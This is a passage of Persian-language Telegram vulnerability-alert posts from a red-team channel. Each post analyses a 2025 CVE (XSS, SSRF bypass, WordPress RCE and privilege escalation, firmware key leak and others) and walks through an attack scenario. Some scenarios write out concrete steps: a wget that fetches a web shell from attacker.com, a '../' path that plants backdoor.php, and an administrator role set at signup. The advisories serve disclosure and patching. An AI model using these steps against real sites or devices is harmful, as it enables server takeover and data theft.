در این درخواست، پارامتر submit-url با یک رشته بسیار طولانی که حاوی کدهای مخرب (Shellcode) است، پر می‌شود. پردازش این درخواست توسط وب‌سرور دستگاه منجر به سرریز بافر شده و کد مخرب مهاجم با سطح دسترسی بالا بر روی سیستم‌عامل روتر اجرا می‌گردد. در این مرحله، مهاجم کنترل کامل دستگاه را به دست می‌گیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-10555

🟠 Risk Level: HIGH (Score: 8.7)

تحلیل آسیب‌پذیری: CVE-2025-10555

گزارش خلاصه آسیب‌پذیری امنیتی شناسایی شده در پلتفرم DELMIA Service Process Engineer

---

شرح آسیب‌پذیری: Vulnerability Description

یک آسیب‌پذیری از نوع Stored Cross-site Scripting (XSS) با شناسه CVE-2025-10555 در بخش مدیریت آیتم‌های سرویس (Service Items Management) در پلتفرم DELMIA Service Process Engineer نسخه R2025x شناسایی شده است.

این ضعف امنیتی به دلیل عدم اعتبارسنجی و پاک‌سازی صحیح داده‌های ورودی کاربر به وجود آمده است. این امر به مهاجم اجازه می‌دهد تا اسکریپت‌های مخرب خود را در پایگاه داده سیستم ذخیره کند. هر زمان که کاربر دیگری داده‌های آلوده را مشاهده کند، این اسکریپت‌ها در نشست مرورگر وی اجرا می‌شوند.

میزان تأثیر: Impact

با توجه به ماهیت Stored XSS که در آن پی‌لود مخرب به صورت دائمی در سرور ذخیره می‌شود، این آسیب‌پذیری دارای سطح خطر بالا ارزیابی می‌شود. پیامدهای اصلی آن عبارتند از:

▪️سرقت نشست کاربری (Session Hijacking): مهاجم می‌تواند کوکی‌های نشست کاربران، از جمله مدیران سیستم، را به سرقت برده و به حساب کاربری آن‌ها دسترسی کامل پیدا کند.

▪️سرقت اطلاعات اعتباری: امکان اجرای اسکریپت‌های فیشینگ برای دزدیدن نام کاربری و رمز عبور کاربران وجود دارد.

▪️تغییر و تخریب محتوای صفحه (Defacement): مهاجم می‌تواند ظاهر و محتوای صفحات را برای سایر کاربران تغییر دهد و اطلاعات نادرست نمایش دهد.

▪️انتشار بدافزار: هدایت کاربران به سایت‌های مخرب و آلوده کردن سیستم آن‌ها از طریق اجرای کدهای مخرب.

سناریوی حمله: Scenario

یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. مهاجم یک پی‌لود (Payload) مخرب جاوا اسکریپت را در یکی از فیلدهای ورودی بخش Service Items Management وارد می‌کند؛ برای مثال، در قسمت توضیحات یک آیتم سرویس جدید.

۲. سیستم بدون پاک‌سازی صحیح، این کد مخرب را در پایگاه داده خود ذخیره می‌کند.

۳. یک کاربر دیگر با سطح دسترسی بالاتر (مثلاً یک مدیر) برای مشاهده یا ویرایش همان آیتم به صفحه مربوطه مراجعه می‌کند.

۴. با بارگذاری صفحه، سرور داده‌های آلوده را از پایگاه داده فراخوانی کرده و برای مرورگر کاربر ارسال می‌کند. مرورگر کاربر به اسکریپت مخرب اعتماد کرده و آن را در چارچوب نشست کاربر قربانی اجرا می‌کند.

۵. در این لحظه، بسته به نوع پی‌لود، اطلاعات حساس نشست کاربر (مانند Session ID) برای سرور تحت کنترل مهاجم ارسال شده و حساب کاربری قربانی به طور کامل در اختیار مهاجم قرار می‌گیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-44018

🟠 Risk Level: HIGH (Score: 8.3)

📄 شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-44018 در مکانیزم به‌روزرسانی از راه دور (OTA) روتر GL-Inet GL-AXT1800 با نسخه فریمور 4.7.0 شناسایی شده است. این ضعف امنیتی به مهاجم اجازه می‌دهد تا با استفاده از یک فایل .tar دستکاری‌شده، فریمور دستگاه را به یک نسخه قدیمی‌تر و احتمالاً آسیب‌پذیرتر تنزل دهد (Downgrade).


💥 تأثیر:

تأثیر اصلی این آسیب‌پذیری، بازگرداندن دستگاه به نسخه‌ای از فریمور است که حاوی ضعف‌های امنیتی شناخته‌شده و برطرف‌شده در نسخه‌های جدیدتر است. این امر به مهاجم اجازه می‌دهد تا از آسیب‌پذیری‌های قدیمی که پیش‌تر پچ شده بودند، مجدداً سوءاستفاده کرده و به طور بالقوه کنترل کامل روتر را به دست گیرد، ترافیک شبکه را شنود کند یا حملات دیگری را علیه سایر دستگاه‌های متصل به شبکه ترتیب دهد.


🎭 سناریو:

یک مهاجم با اجرای حمله مرد میانی (Man-in-the-middle) بین روتر و سرورهای به‌روزرسانی GL-Inet قرار می‌گیرد. زمانی که روتر برای دریافت به‌روزرسانی جدید اقدام می‌کند، مهاجم این درخواست را رهگیری کرده و به جای فایل آپدیت اصلی، یک فایل .tar مخرب که حاوی یک نسخه قدیمی و آسیب‌پذیر از فریمور است را به دستگاه ارسال می‌کند. مکانیزم OTA به دلیل وجود این آسیب‌پذیری، فایل جعلی را معتبر شناخته و فرآیند «دانگرید» را اجرا می‌کند. پس از این مرحله، روتر در برابر حملات شناخته‌شده‌ای که در نسخه‌های جدیدتر رفع شده بودند، بی‌دفاع خواهد بود.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13609

🟠 Risk Level: HIGH (Score: 8.2)

تحلیل آسیب‌پذیری CVE-2025-13609 در Keylime

---

Vulnerability Description:
یک آسیب‌پذیری با شناسه CVE-2025-13609 در ابزار keylime شناسایی شده است. این نقص امنیتی به یک مهاجم اجازه می‌دهد تا با ثبت یک عامل (agent) جدید با استفاده از یک دستگاه TPM (Trusted Platform Module) متفاوت، شناسه منحصر به فرد (UUID) یک عامل معتبر و موجود را جعل کند.

این عمل باعث بازنویسی هویت عامل قانونی در سیستم شده و به مهاجم امکان می‌دهد تا هویت آن را به سرقت برده و خود را به جای آن جا بزند.

---

Impact:
مهاجم با سوءاستفاده از این آسیب‌پذیری می‌تواند هویت یک سیستم یا عامل مورد اعتماد را در شبکه به طور کامل در اختیار بگیرد. این امر منجر به دور زدن مکانیزم‌های تأیید هویت و کنترل دسترسی (Authentication and Access Control) می‌شود.

در نتیجه، مهاجم قادر خواهد بود به منابع حساس دسترسی پیدا کرده، داده‌های محرمانه را مشاهده یا دستکاری کند و یا به عنوان یک نود معتبر در زیرساخت، حملات بیشتری را سازماندهی نماید. این آسیب‌پذیری به طور مستقیم یکپارچگی و اعتماد زیرساخت را تضعیف می‌کند.

---

Scenario:
یک سناریوی حمله محتمل به شرح زیر است:

۱. مهاجم شناسه UUID یک عامل (agent) معتبر و فعال در سیستم keylime را به دست می‌آورد.

۲. مهاجم یک دستگاه جدید (که تحت کنترل خودش است) را با یک ماژول TPM متفاوت آماده‌سازی می‌کند.

۳. سپس، با استفاده از این آسیب‌پذیری، یک درخواست ثبت عامل جدید به سیستم ارسال می‌کند، اما در این درخواست، از UUID متعلق به عامل معتبر (قربانی) استفاده می‌نماید.

۴. سیستم keylime بدون اعتبارسنجی کافی، هویت عامل قانونی را با اطلاعات عامل جدیدِ مهاجم بازنویسی می‌کند.

۵. از این پس، مهاجم به عنوان عامل معتبر در شبکه شناخته شده و می‌تواند تمام بررسی‌های امنیتی مبتنی بر هویت آن عامل را با موفقیت پشت سر بگذارد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-54347

🔴 Risk Level: CRITICAL (Score: 9.9)

تحلیل آسیب‌پذیری CVE-2025-54347

📝 توضیحات آسیب‌پذیری:
یک آسیب‌پذیری از نوع Directory Traversal (پیمایش دایرکتوری) در سرویس‌دهنده برنامه (Application Server) محصول Desktop Alert PingAlert شناسایی شده است. نسخه‌های تحت تأثیر این آسیب‌پذیری از 6.1.0.11 تا 6.1.1.2 می‌باشند.

این نقص امنیتی به یک مهاجم اجازه می‌دهد تا با دستکاری مسیر فایل‌ها، از دایرکتوری محدود شده وب‌سرور خارج شده و تحت شرایط خاصی، فایل‌های دلخواه خود را در مکان‌های غیرمجاز بر روی سیستم قربانی بنویسد. مشکل اصلی از عدم اعتبارسنجی و پاکسازی صحیح ورودی‌های مربوط به مسیر فایل‌ها ناشی می‌شود.


💣 تأثیرات و پیامدها:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به پیامدهای بسیار خطرناکی شود. از آنجایی که مهاجم قابلیت نوشتن فایل دلخواه (Arbitrary File Write) را بر روی سرور پیدا می‌کند، سناریوهای زیر محتمل است:

- اجرای کد از راه دور (RCE): مهاجم می‌تواند یک وب‌شل (Webshell) یا اسکریپت مخرب دیگر را در یک دایرکتوری قابل اجرا بر روی وب‌سرور آپلود کرده و از طریق آن، دستورات دلخواه خود را بر روی سیستم قربانی اجرا کند و کنترل کامل سرور را به دست گیرد.

- از کار انداختن سرویس (DoS): با بازنویسی یا تخریب فایل‌های حیاتی سیستم‌عامل یا فایل‌های پیکربندی برنامه، مهاجم می‌تواند باعث اختلال در عملکرد سرویس و از دسترس خارج شدن آن شود.

- کاشت بدافزار: مهاجم می‌تواند انواع بدافزار، باج‌افزار یا ابزارهای جاسوسی را بر روی سیستم قربانی نصب کند.


🎭 سناریوی حمله:
یک مهاجم غیرمجاز (بدون نیاز به احراز هویت) یک درخواست HTTP دستکاری‌شده به سرور آسیب‌پذیر ارسال می‌کند. این درخواست حاوی یک فایل (برای مثال، یک وب‌شل با پسوند .php یا .aspx) و یک مسیر مقصد است که با استفاده از توالی‌هایی مانند ../ دستکاری شده است.

برای مثال، مهاجم تلاش می‌کند فایلی به نام backdoor.php را در مسیر زیر آپلود کند:
../../../../var/www/html/backdoor.php

اپلیکیشن آسیب‌پذیر، به دلیل عدم فیلتر کردن توالی ../، فریب خورده و فایل مخرب را خارج از پوشه آپلود پیش‌فرض و در ریشه وب‌سرور (/var/www/html/) ذخیره می‌کند. پس از آن، مهاجم به سادگی با مراجعه به آدرس https://[target-domain]/backdoor.php می‌تواند به وب‌شل خود دسترسی یافته و دستورات مورد نظر را بر روی سرور اجرا کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-62155

🟠 Risk Level: HIGH (Score: 8.5)

تحلیل آسیب‌پذیری | CVE-2025-62155
دور زدن وصله امنیتی و اجرای SSRF در پلتفرم New API

---

🧾 شرح آسیب‌پذیری:

آسیب‌پذیری جدیدی در پلتفرم New API، که یک درگاه برای مدل‌های زبان بزرگ (LLM) و سیستم مدیریت دارایی‌های هوش مصنوعی است، شناسایی شده است. این ضعف امنیتی در نسخه‌های پیش از 0.9.6 وجود دارد.

مشکل اصلی این است که یک آسیب‌پذیری جعل درخواست سمت سرور (SSRF) که قبلاً وصله شده بود، دارای یک روش برای دور زدن (Bypass) است. مکانیزم امنیتی پیاده‌سازی‌شده تنها اولین درخواست URL را بررسی می‌کند. مهاجم می‌تواند با استفاده از یک ریدایرکت 302، سرور را وادار به ارسال یک درخواست ثانویه به یک آدرس در شبکه داخلی (Intranet) کند. از آنجایی که این درخواست دوم بررسی نمی‌شود، مکانیزم امنیتی عملاً دور زده می‌شود. این آسیب‌پذیری در نسخه 0.9.6 برطرف شده است.

💥 تاثیرات:

موفقیت در بهره‌برداری از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا حملات SSRF را با موفقیت اجرا کند. این امر می‌تواند منجر به نتایج خطرناکی شود، از جمله:

- دسترسی به منابع و سرویس‌های داخلی شبکه که به صورت عمومی در دسترس نیستند.
- اسکن پورت‌های باز در شبکه داخلی برای شناسایی سایر سرویس‌های آسیب‌پذیر.
- سرقت اطلاعات حساس از سرویس‌های داخلی مانند پایگاه‌های داده، داشبوردهای مدیریتی یا APIهای داخلی.
- تعامل با سرویس‌های داخلی و اجرای دستورات غیرمجاز بر روی آن‌ها.

🚶‍♂️➡️🎯 سناریوی حمله:

یک مهاجم می‌تواند سناریوی زیر را برای بهره‌برداری از این آسیب‌پذیری دنبال کند:

۱. مهاجم یک نقطه پایانی (Endpoint) را در سیستم New API پیدا می‌کند که یک URL به عنوان ورودی دریافت می‌کند.

۲. مهاجم آدرس یک سرور تحت کنترل خود را به عنوان ورودی به سیستم می‌دهد (برای مثال: https://attacker-server.com/redirect).

۳. سرور New API اولین درخواست را به سرور مهاجم ارسال می‌کند. از آنجایی که این یک آدرس خارجی و به ظاهر معتبر است، بررسی امنیتی اولیه با موفقیت انجام می‌شود.

۴. سرور مهاجم با یک پاسخ HTTP 302 Redirect، درخواست را به یک آدرس داخلی در شبکه هدف هدایت می‌کند (برای مثال: https://192.168.1.50/internal-api).

۵. سرور New API به دلیل نقص در وصله امنیتی، آدرس جدید را مجدداً بررسی نمی‌کند و درخواست را به آدرس داخلی مشخص‌شده ارسال می‌کند.

۶. در نتیجه، مهاجم پاسخ دریافتی از سرویس داخلی را مشاهده کرده و به اطلاعات حساس دسترسی پیدا می‌کند یا می‌تواند با آن سرویس تعامل کند.

---

🛡️ توصیه امنیتی:

به تمامی مدیران و کاربران پلتفرم New API اکیداً توصیه می‌شود که در اسرع وقت سیستم خود را به نسخه 0.9.6 یا بالاتر به‌روزرسانی کنند تا از این آسیب‌پذیری در امان بمانند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-65951

🟠 Risk Level: HIGH (Score: 8.7)

تحلیل و گزارش آسیب‌پذیری CVE-2025-65951

---

توضیحات آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-65951 در موتور شرط‌بندی مسابقات اسب‌دوانی Inside Track / Entropy Derby شناسایی شده است. این سیستم از یک مکانیزم رمزنگاری قفل زمانی (Timelock Encryption) مبتنی بر تابع تأخیر قابل تأیید (VDF) استفاده می‌کند. هدف این مکانیزم، ایجاد یک تأخیر زمانی محاسباتی اجباری است تا اپراتور یا برگزارکننده نتواند شرط‌ها را قبل از یک زمان مشخص رمزگشایی کند.

این آسیب‌پذیری در نسخه‌های قبل از کامیت 2d38d2f وجود دارد و به کاربران (شرط‌بندها) اجازه می‌دهد تا کل محاسبات زمان‌بر VDF را از پیش روی سیستم خود انجام داده و خروجی نهایی (vdfOutputHex) را مستقیماً در بلیت شرط رمزنگاری‌شده خود بگنجانند. در نتیجه، مکانیزم تأخیر زمانی به طور کامل دور زده می‌شود.


تأثیرات:

تأثیر اصلی این آسیب‌پذیری، از بین رفتن کامل هدف امنیتی سیستم قفل زمانی است. این نقص به برگزارکننده اجازه می‌دهد تا شرط‌های رمزنگاری‌شده را به جای صرف زمان طولانی برای ارزیابی VDF، با استفاده از یک فرآیند اعتبارسنجی سریع، تقریباً بلافاصله رمزگشایی کند.

این موضوع اصل انصاف و عدم قطعیت در سیستم را به شدت تضعیف می‌کند و به برگزارکننده این پتانسیل را می‌دهد که با اطلاع زودهنگام از شرط‌ها، نتایج را دستکاری کرده یا به هر نحو دیگری از این اطلاعات به نفع خود سوءاستفاده نماید.


سناریوی حمله:

یک سناریوی حمله به شرح زیر قابل تصور است:

۱. یک کاربر قصد دارد شرط خود را روی یک مسابقه ثبت کند.

۲. کلاینت کاربر، به جای ارسال یک شرط رمزنگاری‌شده استاندارد، ابتدا کل فرآیند محاسباتی سنگین و زمان‌بر VDF را به صورت محلی (آفلاین) اجرا می‌کند.

۳. پس از اتمام محاسبات، خروجی نهایی VDF که یک اثبات (Proof) است را به همراه بلیت شرط رمزنگاری‌شده خود برای سرور برگزارکننده ارسال می‌کند.

۴. سرور برگزارکننده، با دریافت این بسته، به جای اجرای فرآیند ارزیابی VDF که برای ایجاد تأخیر طراحی شده، مستقیماً از اثبات ارسالی برای اعتبارسنجی سریع استفاده می‌کند.

۵. در نتیجه، شرط کاربر فوراً رمزگشایی شده و محتوای آن پیش از موعد مقرر (مثلاً قبل از شروع مسابقه) برای برگزارکننده فاش می‌گردد و مکانیزم امنیتی اصلی سیستم بی‌اثر می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-6389

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری | CVE-2025-6389

در ادامه گزارش تحلیل تخصصی آسیب‌پذیری اجرای کد از راه دور در افزونه وردپرسی Sneeit Framework ارائه می‌گردد.

Vulnerability Description:
آسیب‌پذیری با شناسه CVE-2025-6389 یک ضعف امنیتی از نوع اجرای کد از راه دور (Remote Code Execution - RCE) در افزونه Sneeit Framework برای وردپرس می‌باشد. این مشکل تمامی نسخه‌های این افزونه تا نسخه 8.3 (و خود این نسخه) را تحت تأثیر قرار می‌دهد.

منشأ این آسیب‌پذیری در تابع sneeit_articles_pagination_callback() نهفته است. این تابع، ورودی دریافت شده از کاربر را بدون اعتبارسنجی و پاک‌سازی کافی، مستقیماً به تابع حساس call_user_func() در PHP ارسال می‌کند. این نقص به مهاجمان احرازهویت‌نشده (Unauthenticated) اجازه می‌دهد تا توابع و دستورات دلخواه خود را بر روی سرور اجرا کنند.

Impact:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به کنترل کامل وب‌سایت و سرور میزبان آن شود. برخی از مهم‌ترین تأثیرات عبارتند از:

کنترل کامل سرور: مهاجم می‌تواند دستورات دلخواه را در سطح سیستم‌عامل سرور اجرا کرده و کنترل کامل آن را به دست بگیرد.

تزریق درهای پشتی (Backdoors): امکان نصب بدافزارها و شل‌های تحت وب (Web Shells) برای حفظ دسترسی پایدار و مخفیانه به سرور.

سرقت اطلاعات: دسترسی و سرقت اطلاعات حساس مانند اطلاعات پایگاه داده، اطلاعات کاربران، و فایل‌های حیاتی وب‌سایت.

ایجاد کاربران با دسترسی بالا: مهاجم می‌تواند حساب‌های کاربری جدید با سطح دسترسی مدیر (Administrator) در وردپرس ایجاد کند و از طریق پنل مدیریتی، تغییرات مخربی را اعمال نماید.

Scenario:
یک سناریوی حمله محتمل به شرح زیر است:

۱. یک مهاجم از راه دور، وب‌سایت‌هایی که از نسخه آسیب‌پذیر افزونه Sneeit Framework استفاده می‌کنند را با ابزارهای اسکن خودکار شناسایی می‌کند.

۲. مهاجم بدون نیاز به هیچ‌گونه نام کاربری یا رمز عبور، یک درخواست HTTP مخرب به سمت وب‌سایت هدف ارسال می‌کند. این درخواست، تابع آسیب‌پذیر sneeit_articles_pagination_callback() را هدف قرار می‌دهد.

۳. در پارامترهای این درخواست، مهاجم یک محموله (Payload) ویژه قرار می‌دهد. برای مثال، از تابع call_user_func() سوءاستفاده کرده و تابع system را با دستوری مانند wget https://attacker.com/shell.php -O /tmp/shell.php فراخوانی می‌کند.

۴. سرور این دستور را اجرا کرده و یک فایل بدافزار (Web Shell) را از سرور مهاجم دانلود و در یک مسیر قابل دسترس ذخیره می‌کند. از این لحظه به بعد، مهاجم از طریق آن شل، دسترسی کامل به سرور خواهد داشت و می‌تواند اقدام به ایجاد کاربر مدیر جدید یا سرقت اطلاعات کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13559

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری: CVE-2025-13559
افزونه: EduKart Pro
نوع: ارتقاء سطح دسترسی (Privilege Escalation)
سطح خطر: بحرانی (Critical)

---

شرح آسیب‌پذیری:
آسیب‌پذیری ارتقاء سطح دسترسی در افزونه EduKart Pro برای وردپرس، در تمام نسخه‌های 1.0.3 و پایین‌تر شناسایی شده است. این ضعف امنیتی به دلیل عدم اعتبارسنجی نقش کاربری در تابع edukart_pro_register_user_front_end به وجود آمده است.

در نتیجه، یک مهاجم غیر احراز هویت شده (Unauthenticated) می‌تواند در هنگام ثبت‌نام، نقش کاربری خود را به صورت دلخواه، از جمله administrator، تعیین کرده و به این ترتیب به دسترسی کامل مدیریتی در وب‌سایت دست یابد.

میزان تأثیر:
بهره‌برداری موفق از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا کنترل کامل وب‌سایت را به دست گیرد. پیامدهای اصلی این حمله عبارتند از:

✔️ کنترل کامل بر محتوا، کاربران و تنظیمات وب‌سایت.
✔️ سرقت اطلاعات حساس کاربران، مانند اطلاعات شخصی و مالی.
✔️ بارگذاری شل (Shell) و بدافزار بر روی سرور برای حملات آتی.
✔️ تغییر چهره (Deface) وب‌سایت و آسیب به اعتبار برند.
✔️ استفاده از وب‌سایت آلوده به عنوان بستری برای توزیع بدافزار یا حملات فیشینگ.

سناریوی حمله:
یک مهاجم با شناسایی وب‌سایتی که از نسخه آسیب‌پذیر افزونه EduKart Pro استفاده می‌کند، فرآیند حمله را آغاز می‌کند.

۱. مهاجم به صفحه ثبت‌نام ایجاد شده توسط افزونه مراجعه می‌کند.

۲. با استفاده از ابزارهایی مانند Burp Suite، درخواست ثبت‌نام را رهگیری (Intercept) کرده و یا یک درخواست POST دستکاری‌شده به سرور ارسال می‌کند.

۳. در پارامترهای ارسالی، مقدار مربوط به نقش کاربری (مثلاً پارامتری با نام role) را برابر با administrator قرار می‌دهد.

۴. سرور به دلیل نقص در منطق برنامه، این درخواست را بدون اعتبارسنجی پردازش کرده و یک حساب کاربری جدید با بالاترین سطح دسترسی (مدیر کل) ایجاد می‌کند.

۵. مهاجم اکنون با استفاده از این حساب کاربری، کنترل کامل وب‌سایت را در اختیار دارد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63729

🔴 Risk Level: CRITICAL (Score: 9.0)

گزارش تحلیل آسیب‌پذیری | CVE-2025-63729

---

📄 توضیحات آسیب‌پذیری:
یک آسیب‌پذیری افشای اطلاعات حساس با شناسه CVE-2025-63729 در دستگاه مودم Syrotech SY-GPON-1110-WDONT با فریم‌ور نسخه SYRO_3.7L_3.1.02-240517 کشف شده است.

این ضعف امنیتی به مهاجم اجازه می‌دهد تا با تحلیل فایل فریم‌ور دستگاه، به فایل‌های حیاتی زیرساخت کلید عمومی (PKI) دسترسی پیدا کند. فایل‌هایی نظیر کلید خصوصی SSL، گواهی‌نامه مرجع (CA Certificate)، گواهی‌نامه SSL و گواهی‌نامه‌های کلاینت در فرمت .pem به صورت محافظت‌نشده در مسیر /etc فایل‌سیستمِ فریم‌ور ذخیره شده‌اند.

---

🎯 تاثیر:
استخراج این اطلاعات می‌تواند منجر به حملات بسیار مخربی شود. مهاجم با در اختیار داشتن کلید خصوصی SSL قادر خواهد بود:

- شنود و رمزگشایی ترافیک: کلیه اطلاعات رمزگذاری‌شده (HTTPS) که بین کاربران و دستگاه رد و بدل می‌شود، مانند نام کاربری و رمز عبور پنل مدیریت، قابل شنود و رمزگشایی (Decryption) است. این امر محرمانگی داده‌ها را به طور کامل از بین می‌برد.

- جعل هویت دستگاه (Impersonation): مهاجم می‌تواند با استفاده از گواهی‌نامه و کلید خصوصی سرقت‌شده، خود را به عنوان دستگاه واقعی جا زده و کاربران را به صفحات جعلی (Phishing) هدایت کند یا در ارتباطات شبکه اختلال ایجاد نماید.

- اجرای حملات مرد میانی (MitM): این آسیب‌پذیری بستر را برای اجرای حملات Man-in-the-Middle فراهم می‌کند، جایی که مهاجم می‌تواند ترافیک را مشاهده، دستکاری یا مسدود کند.

---

🎭 سناریو حمله:
یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. دریافت فریم‌ور: مهاجم فایل فریم‌ور آسیب‌پذیر را از وب‌سایت سازنده یا از طریق دسترسی فیزیکی به یک دستگاه دانلود می‌کند.

۲. استخراج محتویات: با استفاده از ابزارهای تحلیل فریم‌ور مانند binwalk، مهاجم فایل‌سیستم را از درون فریم‌ور استخراج می‌کند.

۳. کشف کلیدها: مهاجم به مسیر /etc در فایل‌سیستم استخراج‌شده مراجعه کرده و فایل‌های حساس با پسوند .pem را که حاوی کلیدها و گواهی‌نامه‌ها هستند، کپی می‌کند.

۴. اجرای حمله MitM: مهاجم در شبکه محلی (LAN/Wi-Fi) که دستگاه هدف در آن قرار دارد، مستقر می‌شود. سپس با راه‌اندازی یک حمله MitM، ترافیک کاربر به سمت پنل مدیریت مودم را رهگیری کرده و با استفاده از کلید خصوصی استخراج‌شده، ارتباط HTTPS را رمزگشایی می‌کند و به اطلاعات لاگین مدیر دست می‌یابد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal